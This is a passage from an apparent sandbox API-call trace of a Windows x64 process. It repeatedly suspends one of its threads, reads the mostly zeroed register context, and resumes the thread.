FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0084.714] ResumeThread (hThread=0x130) returned 0x1
[0084.714] CloseHandle (hObject=0x130) returned 1
[0084.714] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.761] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.797] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.874] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.102] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.102] SuspendThread (hThread=0x130) returned 0x0
[0085.103] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f5100, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0085.177] ResumeThread (hThread=0x130) returned 0x1
[0085.177] CloseHandle (hObject=0x130) returned 1
[0085.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.252] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.252] SuspendThread (hThread=0x130) returned 0x0
[0085.252] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x129ede0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0085.362] ResumeThread (hThread=0x130) returned 0x1
[0085.362] CloseHandle (hObject=0x130) returned 1
[0085.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.440] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.441] SuspendThread (hThread=0x130) returned 0x0
[0085.441] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ed860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0085.616] ResumeThread (hThread=0x130) returned 0x1
[0085.616] CloseHandle (hObject=0x130) returned 1
[0085.616] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.694] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.694] SuspendThread (hThread=0x130) returned 0x0
[0085.694] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c5d00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, 